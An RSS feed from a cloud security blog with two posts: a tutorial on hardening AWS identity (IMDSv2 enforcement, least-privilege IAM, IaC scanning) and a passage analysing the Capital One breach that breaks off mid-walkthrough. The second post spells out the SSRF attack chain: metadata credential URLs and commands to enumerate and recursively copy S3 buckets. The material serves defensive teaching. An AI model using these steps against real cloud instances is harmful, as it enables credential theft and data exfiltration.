<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>IMDSv2 Archives - Linuxcent</title>
	<atom:link href="https://linuxcent.com/tag/imdsv2/feed/" rel="self" type="application/rss+xml" />
	<link>https://linuxcent.com/tag/imdsv2/</link>
	<description>Infrastructure security, from the kernel up.</description>
	<lastBuildDate>Mon, 06 Jul 2026 21:31:39 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.0.4</generator>

<image>
	<url>https://linuxcent.com/wp-content/uploads/2026/04/favicon-512x512-1-150x150.png</url>
	<title>IMDSv2 Archives - Linuxcent</title>
	<link>https://linuxcent.com/tag/imdsv2/</link>
	<width>32</width>
	<height>32</height>
</image> 
<site xmlns="com-wordpress:feed-additions:1">211632295</site>	<item>
		<title>Cloud-Native Hardening: Securing the AWS Identity Perimeter</title>
		<link>https://linuxcent.com/cloud-native-hardening-aws-identity/</link>
					<comments>https://linuxcent.com/cloud-native-hardening-aws-identity/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Mon, 06 Jul 2026 21:31:37 +0000</pubDate>
				<category><![CDATA[Security Architecture]]></category>
		<category><![CDATA[AWS]]></category>
		<category><![CDATA[Cloud Security]]></category>
		<category><![CDATA[DevSecOps]]></category>
		<category><![CDATA[IAM]]></category>
		<category><![CDATA[IMDSv2]]></category>
		<category><![CDATA[Infrastructure as Code]]></category>
		<guid isPermaLink="false">https://linuxcent.com/cloud-native-hardening-aws-identity/</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 6</span> <span class="rt-label rt-postfix">minutes</span></span>Apply cloud native infrastructure hardening to the AWS identity perimeter: enforce IMDSv2, scope IAM least privilege, and gate IaC scans before merge.</p>
<p>The post <a href="https://linuxcent.com/cloud-native-hardening-aws-identity/">Cloud-Native Hardening: Securing the AWS Identity Perimeter</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 6</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><em>Zero to Hero: Cybersecurity Architecture Masterclass, Module 3</em><br />
<a href="/stride-threat-modeling/">← Module 2: Proactive Design</a> · <strong>Module 3: Cloud-Native Hardening</strong> · <a href="/immutable-data-architecture-worm/">Module 4: Resilience &amp; Survival →</a></p>
<p><strong>12 min read</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>Cloud native infrastructure hardening starts from a different assumption than on-prem hardening: there is no network perimeter, only an identity perimeter — every AWS API call is the boundary</li>
<li>IMDSv1 (the EC2 metadata service without a token) is the single highest-leverage cloud-native hardening fix available — it turned an SSRF bug into the Capital One breach</li>
<li>IAM policy design is architecture, not IT administration: least privilege, permission boundaries, and SCPs compose into the actual perimeter</li>
<li>Infrastructure-as-code scanning (<code class="" data-line="">checkov</code>, <code class="" data-line="">tfsec</code>) catches identity-perimeter mistakes in a pull request instead of in an incident</li>
<li><code class="" data-line="">aws iam simulate-principal-policy</code> answers &#8220;can this role actually do that?&#8221; definitively, without waiting to find out in production</li>
<li>Recommendation: treat IMDSv2 enforcement and IAM least-privilege review as pipeline gates, not periodic audits — the same &#8220;build constraint, not process step&#8221; principle from the OS Hardening series</li>
</ul>
<hr />
<h2 id="the-big-picture-the-perimeter-moved-to-the-api-call">The Big Picture: The Perimeter Moved to the API Call</h2>
<pre><code class="" data-line="">ON-PREM MODEL                          CLOUD-NATIVE MODEL
──────────────                          ──────────────────
Firewall at network edge                No fixed network edge
        │                                        │
Trusted internal subnet                 Every API call carries its
        │                                 own identity + policy
Server assumed safe if                          │
inside the firewall                     IAM evaluates: who is this,
                                          what can they do, right now
                                                 │
                                          Perimeter = the IAM policy
                                          attached to the caller
</code></pre>
<p>Cloud-native infrastructure hardening means accepting that the network no longer defines what&#8217;s trusted — the AWS identity perimeter, enforced entirely through IAM policy evaluation on every single API call, is the only perimeter that actually exists. Module 1 called this the shift from network-centric to identity-centric trust; this module makes it concrete with the two failures that actually break it in production: a leaky metadata service and an over-permissioned role.</p>
<hr />
<h2 id="the-breach-that-made-imdsv2-mandatory">The Breach That Made IMDSv2 Mandatory</h2>
<p>In 2019, a misconfigured WAF in front of a bank&#8217;s application allowed a Server-Side Request Forgery (SSRF) — an attacker convinced the application server to make an HTTP request to <code class="" data-line="">http://169.254.169.254</code>, the EC2 instance metadata endpoint. IMDSv1 answered with no authentication required at all: temporary IAM credentials for the role attached to that instance, handed to anyone who could make the server issue that one request.</p>
<p>Those credentials had read access to S3. The attacker used them to exfiltrate over 100 million customer records. This is the Capital One breach — <a href="https://linuxcent.com/ssrf-cloud-metadata-imds-capital-one/">covered in full in the Purple Team series</a> — and it is the single clearest illustration in cloud history of why &#8220;the perimeter is the identity, not the network&#8221; isn&#8217;t a slogan — it&#8217;s a description of exactly where that breach actually happened. The WAF misconfiguration was the entry point. The metadata service handing out credentials with zero verification was the architectural failure that turned an SSRF bug into a 100-million-record breach.</p>
<p><strong>IMDSv2 closes this specific gap</strong> by requiring a session token, fetched via a PUT request, before any metadata GET request is honored — and that PUT request cannot be replayed through a typical SSRF, because SSRF vulnerabilities almost always only allow GET-style requests to be forged. This single setting is the highest-leverage cloud-native hardening control available, and it should be enforced at the account level, not left as an opt-in per instance:</p>
<pre><code class="" data-line=""># Check whether IMDSv2 is enforced (HttpTokens: required) on an instance
$ aws ec2 describe-instances --instance-ids i-0abc123 \
    --query &#039;Reservations[].Instances[].MetadataOptions&#039;
{
    &quot;HttpTokens&quot;: &quot;required&quot;,
    &quot;HttpPutResponseHopLimit&quot;: 1,
    &quot;HttpEndpoint&quot;: &quot;enabled&quot;
}
# &quot;required&quot; = IMDSv2 only. &quot;optional&quot; = IMDSv1 still works — the gap.
</code></pre>
<pre><code class="" data-line=""># Enforce it account-wide for all new instances
$ aws ec2 modify-instance-metadata-defaults \
    --http-tokens required --http-put-response-hop-limit 1
</code></pre>
<hr />
<h2 id="iam-policy-design-is-architecture">IAM Policy Design Is Architecture</h2>
<p>If the metadata service is one way the identity perimeter leaks, an over-permissioned IAM policy is the other — and it&#8217;s far more common, because it doesn&#8217;t require a bug at all. It only requires a policy written with <code class="" data-line="">&quot;Resource&quot;: &quot;*&quot;</code> because scoping it felt like it would slow down a deploy.</p>
<p><strong>Least privilege</strong> means a role can do exactly what its function requires and nothing else — not &#8220;read-only across the account,&#8221; but &#8220;read this specific S3 prefix, write to this specific queue.&#8221;</p>
<p><strong>Permission boundaries</strong> cap what a role can ever be granted, even by someone with <code class="" data-line="">iam:CreatePolicy</code> access — a safety rail against exactly the kind of <a href="https://linuxcent.com/cloud-iam-privilege-escalation/"><code class="" data-line="">iam:PassRole</code> privilege escalation</a> covered in the Cloud IAM series, not just against the policy as originally written.</p>
<p><strong>Service Control Policies (SCPs)</strong> apply at the AWS Organization level, capping what any role in an account can do regardless of how permissive that account&#8217;s own IAM policies are — the outermost layer of the identity perimeter, and the one that survives a single account being compromised.</p>
<pre><code class="" data-line="">{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [{
    &quot;Effect&quot;: &quot;Allow&quot;,
    &quot;Action&quot;: [&quot;s3:GetObject&quot;],
    &quot;Resource&quot;: &quot;arn:aws:s3:::billing-invoices/tenant-4471/*&quot;
  }]
}
</code></pre>
<p>That policy can only ever read one tenant&#8217;s invoice prefix. Compare it to <code class="" data-line="">&quot;Resource&quot;: &quot;arn:aws:s3:::billing-invoices/*&quot;</code> — functionally identical for the one use case the developer was testing, and catastrophically different the day this role&#8217;s credentials leak.</p>
<hr />
<h2 id="quick-check-can-this-role-actually-do-that">Quick Check: Can This Role Actually Do That?</h2>
<p>Don&#8217;t wait to find out in production. <code class="" data-line="">aws iam simulate-principal-policy</code> evaluates a specific action against a role&#8217;s actual attached and inline policies — including SCPs and permission boundaries — and gives you a definitive allow/deny before anything runs:</p>
<pre><code class="" data-line="">$ aws iam simulate-principal-policy \
    --policy-source-arn arn:aws:iam::123456789012:role/billing-api-role \
    --action-names s3:GetObject \
    --resource-arns arn:aws:s3:::billing-invoices/tenant-9982/*

{
  &quot;EvaluationResults&quot;: [{
    &quot;EvalActionName&quot;: &quot;s3:GetObject&quot;,
    &quot;EvalResourceName&quot;: &quot;arn:aws:s3:::billing-invoices/tenant-9982/*&quot;,
    &quot;EvalDecision&quot;: &quot;explicitDeny&quot;,     # ← the answer you needed before deploying
    &quot;MatchedStatements&quot;: [...]
  }]
}
</code></pre>
<p><code class="" data-line="">explicitDeny</code> here means some policy statement — the role&#8217;s own policy, a permission boundary, or an SCP — explicitly blocks the action, and that takes precedence over any <code class="" data-line="">Allow</code> anywhere else in the policy chain (Module 1&#8217;s deny-by-default evaluation model, in practice). Run this simulation as part of code review for any new IAM policy, not after the role is already attached to a running service.</p>
<hr />
<h2 id="catching-this-before-it-ships-cloud-native-hardening-via-iac-scanning">Catching This Before It Ships: Cloud-Native Hardening via IaC Scanning</h2>
<p>Manually reviewing every Terraform IAM policy in every pull request doesn&#8217;t scale past a handful of engineers. <code class="" data-line="">checkov</code> and <code class="" data-line="">tfsec</code> scan infrastructure-as-code for exactly the patterns above — wildcard resources, IMDSv1 left enabled, public S3 buckets — as a CI step, before <code class="" data-line="">terraform apply</code> ever runs:</p>
<pre><code class="" data-line="">$ checkov -d ./terraform --check CKV_AWS_79,CKV_AWS_8

Check: CKV_AWS_79: &quot;Ensure Instance Metadata Service Version 1 is not enabled&quot;
    FAILED for resource: aws_instance.billing_api
    File: main.tf:14-22

Check: CKV_AWS_8: &quot;Ensure IAM policies do not allow full administrative privileges&quot;
    FAILED for resource: aws_iam_role_policy.billing_api_policy
    File: iam.tf:8-15
        Resource: &quot;*&quot;
</code></pre>
<p>A failed <code class="" data-line="">checkov</code> check blocking a pull request is the identity-perimeter equivalent of Stratum&#8217;s pipeline gate refusing to snapshot an unhardened image — the unsafe configuration never reaches an account where it can be exploited, because the check runs before merge, not after an audit finds it months later.</p>
<hr />
<h2 id="production-gotchas">Production Gotchas</h2>
<p><strong>IMDSv2 enforcement can break old SDKs and tools silently.</strong> Some older AWS SDK versions and third-party agents assume IMDSv1 and simply fail to fetch credentials once <code class="" data-line="">HttpTokens: required</code> is set — test in staging before enforcing account-wide.</p>
<p><strong><code class="" data-line="">iam simulate-principal-policy</code> doesn&#8217;t account for resource-based policies on the target.</strong> It evaluates the <em>principal&#8217;s</em> policies correctly, but if the target (an S3 bucket, a KMS key) has its own resource policy denying access, you need <code class="" data-line="">simulate-custom-policy</code> with both policies supplied to get the full picture.</p>
<p><strong>SCPs fail closed in a way that&#8217;s easy to misdiagnose.</strong> An SCP deny produces the same <code class="" data-line="">AccessDenied</code> error as a missing IAM permission — check the SCP layer explicitly before assuming the role&#8217;s own policy is the problem, or you&#8217;ll spend an hour widening a policy that was never the actual blocker.</p>
<p><strong><code class="" data-line="">checkov</code>/<code class="" data-line="">tfsec</code> false positives erode trust in the gate fast.</strong> Suppress specific, documented exceptions inline (<code class="" data-line="">#checkov:skip=CKV_AWS_79:reason</code>) rather than disabling the check account-wide the first time it blocks something legitimate.</p>
<hr />
<h2 id="framework-alignment">Framework Alignment</h2>
<table>
<thead>
<tr>
<th style="text-align: left;">Framework</th>
<th style="text-align: left;">Control / ID</th>
<th style="text-align: left;">Architectural Mapping</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: left;"><strong>NIST CSF 2.0</strong></td>
<td style="text-align: left;">PR.AA-05</td>
<td style="text-align: left;">Access permissions are managed, incorporating least privilege and separation of duties.</td>
</tr>
<tr>
<td style="text-align: left;"><strong>NIST SP 800-207</strong></td>
<td style="text-align: left;">Zero Trust</td>
<td style="text-align: left;">The identity perimeter, enforced per-API-call, is the direct implementation of continuous verification.</td>
</tr>
<tr>
<td style="text-align: left;"><strong>ISO 27001:2022</strong></td>
<td style="text-align: left;">8.2</td>
<td style="text-align: left;">Privileged access rights are restricted and managed.</td>
</tr>
<tr>
<td style="text-align: left;"><strong>SOC 2</strong></td>
<td style="text-align: left;">CC6.3</td>
<td style="text-align: left;">The entity authorizes, modifies, or removes access based on roles and responsibilities.</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>The identity perimeter, not the network, is what cloud-native hardening actually secures — every IAM policy evaluation is a perimeter check</li>
<li>IMDSv2 enforcement is the single highest-leverage fix available and should be an account-wide default, not an opt-in</li>
<li>Least privilege, permission boundaries, and SCPs are three layers of the same perimeter — design all three deliberately, don&#8217;t rely on one</li>
<li><code class="" data-line="">aws iam simulate-principal-policy</code> gives a definitive answer before deployment instead of an incident after</li>
<li>IaC scanning turns identity-perimeter mistakes into blocked pull requests instead of production findings</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>Module 3 hardened the identity perimeter against external and lateral threats. Module 4 asks what happens after a perimeter fails anyway — specifically, how immutable, WORM-locked data architecture makes ransomware and mass-deletion attacks survivable even when an attacker has already gotten past every control this module covers.</p>
<p><em>Next: <a href="/immutable-data-architecture-worm/">Module 4: Resilience &amp; Survival — Immutable Data Architecture and Surviving Ransomware via WORM</a></em></p>
<p>Get the full masterclass in your inbox → <a href="https://linuxcent.com/subscribe">linuxcent.com/subscribe</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-native-hardening-aws-identity%2F&amp;linkname=Cloud-Native%20Hardening%3A%20Securing%20the%20AWS%20Identity%20Perimeter" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-native-hardening-aws-identity%2F&amp;linkname=Cloud-Native%20Hardening%3A%20Securing%20the%20AWS%20Identity%20Perimeter" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-native-hardening-aws-identity%2F&amp;linkname=Cloud-Native%20Hardening%3A%20Securing%20the%20AWS%20Identity%20Perimeter" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-native-hardening-aws-identity%2F&amp;linkname=Cloud-Native%20Hardening%3A%20Securing%20the%20AWS%20Identity%20Perimeter" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-native-hardening-aws-identity%2F&amp;linkname=Cloud-Native%20Hardening%3A%20Securing%20the%20AWS%20Identity%20Perimeter" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-native-hardening-aws-identity%2F&amp;linkname=Cloud-Native%20Hardening%3A%20Securing%20the%20AWS%20Identity%20Perimeter" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-native-hardening-aws-identity%2F&amp;linkname=Cloud-Native%20Hardening%3A%20Securing%20the%20AWS%20Identity%20Perimeter" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fcloud-native-hardening-aws-identity%2F&#038;title=Cloud-Native%20Hardening%3A%20Securing%20the%20AWS%20Identity%20Perimeter" data-a2a-url="https://linuxcent.com/cloud-native-hardening-aws-identity/" data-a2a-title="Cloud-Native Hardening: Securing the AWS Identity Perimeter"></a></p><p>The post <a href="https://linuxcent.com/cloud-native-hardening-aws-identity/">Cloud-Native Hardening: Securing the AWS Identity Perimeter</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/cloud-native-hardening-aws-identity/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">2195</post-id>	</item>
		<item>
		<title>SSRF to Cloud Metadata: How IMDSv1 Enabled the Capital One Breach</title>
		<link>https://linuxcent.com/ssrf-cloud-metadata-imds-capital-one/</link>
					<comments>https://linuxcent.com/ssrf-cloud-metadata-imds-capital-one/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Mon, 22 Jun 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[Purple Team]]></category>
		<category><![CDATA[AWS]]></category>
		<category><![CDATA[Capital One]]></category>
		<category><![CDATA[Cloud Security]]></category>
		<category><![CDATA[IMDS]]></category>
		<category><![CDATA[IMDSv2]]></category>
		<category><![CDATA[SSRF]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1861</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 15</span> <span class="rt-label rt-postfix">minutes</span></span>SSRF to IMDSv1 is a straight line to IAM credentials — Capital One proved it at 100M-record scale. How the attack chain works and why IMDSv2 enforcement is non-negotiable.</p>
<p>The post <a href="https://linuxcent.com/ssrf-cloud-metadata-imds-capital-one/">SSRF to Cloud Metadata: How IMDSv1 Enabled the Capital One Breach</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 15</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><a href="/what-is-purple-team-security/">What Is Purple Team?</a> → <a href="/owasp-top-10-cloud-infrastructure/">OWASP Top 10 Cloud</a> → <a href="/cloud-security-breaches-2020-2025/">Breach Landscape 2020–2025</a> → <a href="/broken-access-control-aws-cloud/">Broken Access Control</a> → <a href="/mfa-fatigue-attack-uber-okta/">MFA Fatigue</a> → <a href="/cicd-secrets-exposure-supply-chain/">CI/CD Secrets</a> → <strong>SSRF to Cloud Metadata</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li><strong>SSRF cloud metadata attack</strong> is OWASP A10: an attacker exploits a server-side request forgery vulnerability to reach <code class="" data-line="">169.254.169.254</code> — the EC2 Instance Metadata Service — and retrieve IAM role credentials without authentication</li>
<li>IMDSv1 (the default before 2019) requires no authentication token; any HTTP request from the instance to the IMDS endpoint returns credentials — SSRF anywhere in the stack is sufficient</li>
<li>Capital One (2019): a misconfigured WAF running on EC2 had an SSRF vulnerability → attacker hit the IMDS endpoint → retrieved IAM role credentials → enumerated and exfiltrated over 100 million customer records from S3; $190M settlement</li>
<li>IMDSv2 requires a PUT request to obtain a session token first — a CSRF/SSRF-blocked flow — making the IMDS resistant to standard SSRF exploitation; <code class="" data-line="">--http-tokens required</code> is the one-line enforcement</li>
<li>Hop limit of 1 is the container-layer defense: it prevents any process inside a container from reaching IMDS because the TTL expires before the packet traverses the additional network layer</li>
<li>The structural fix is eliminating the credential entirely: <a href="/workload-identity-oidc-service-accounts/">OIDC workload identity eliminates static credentials</a> replaces the attached IAM role with a dynamically issued, scoped token — no IMDS credential to steal</li>
</ul>
<hr />
<blockquote>
<p><strong>OWASP Mapping:</strong> A10 — Server-Side Request Forgery (SSRF). The attacker causes the server to make a request to an unintended destination — in this case, the link-local metadata endpoint that returns cloud IAM credentials.</p>
</blockquote>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">┌─────────────────────────────────────────────────────────────────────────┐
│                    SSRF → IMDS → CREDENTIAL CHAIN                       │
│                                                                         │
│   ATTACKER                                                              │
│      │                                                                  │
│      │  1. Discovers SSRF in web app (WAF, proxy, image fetch, etc.)    │
│      │                                                                  │
│      ▼                                                                  │
│   WEB APP / WAF (running on EC2)                                        │
│      │                                                                  │
│      │  2. App follows attacker-controlled URL                          │
│      │     GET http://169.254.169.254/latest/meta-data/                 │
│      │     iam/security-credentials/ROLE_NAME                          │
│      ▼                                                                  │
│   EC2 INSTANCE METADATA SERVICE (IMDSv1 — no auth required)            │
│      │                                                                  │
│      │  3. Returns JSON: AccessKeyId, SecretAccessKey, Token            │
│      ▼                                                                  │
│   ATTACKER (now has temporary IAM credentials)                          │
│      │                                                                  │
│      │  4. aws sts get-caller-identity → confirm identity               │
│      │  5. aws s3 ls → enumerate all accessible buckets                 │
│      │  6. aws s3 cp s3://target-bucket/ . --recursive                  │
│      ▼                                                                  │
│   100M+ customer records exfiltrated                                    │
│                                                                         │
│   ─────────────────────────────────────────────────────────────────     │
│   IMDSv2 BREAKS THIS CHAIN AT STEP 2                                    │
│   PUT /latest/api/token required first → SSRF can&#039;t follow             │
│   (SSRF typically cannot initiate a PUT before a GET)                   │
│                                                                         │
└─────────────────────────────────────────────────────────────────────────┘
</code></pre>
<p>The <strong>SSRF cloud metadata attack</strong> chain is short enough to fit in a single diagram because there are only three moving parts: the SSRF vulnerability, an unauthenticated metadata endpoint, and the IAM credentials waiting behind it. Remove any one of those three elements and the chain breaks. Capital One had all three.</p>
<hr />
<h2 id="the-incident-capital-one-2019">The Incident: Capital One (2019)</h2>
<p>In March 2019, a misconfigured WAF at Capital One was running on AWS EC2. The WAF was a commercial product deployed in an EC2 instance with an attached IAM role — standard practice, necessary for the WAF to interact with other AWS services.</p>
<p>The attacker, later identified as Paige Thompson (arrested July 2019, former AWS engineer), found an SSRF vulnerability in the WAF&#8217;s configuration. The exact misconfiguration has been described as a firewall rule that allowed the instance to make outbound requests to internal destinations, including the link-local metadata endpoint.</p>
<p>The attack chain, reconstructed from court documents and Capital One&#8217;s public disclosures:</p>
<pre><code class="" data-line="">1. Identify SSRF in WAF
   ├── WAF accepts HTTP requests and forwards them to backend
   └── Attacker crafts request that causes WAF to make outbound HTTP call
       to attacker-controlled destination — confirms SSRF exists

2. Target the IMDS endpoint
   └── http://169.254.169.254/latest/meta-data/iam/security-credentials/
       (link-local address, reachable only from within the EC2 instance)

3. Enumerate the attached role
   └── http://169.254.169.254/latest/meta-data/iam/security-credentials/
       → returns role name: &quot;capital-one-waf-role&quot; (illustrative)

4. Retrieve the credentials
   └── http://169.254.169.254/latest/meta-data/iam/security-credentials/capital-one-waf-role
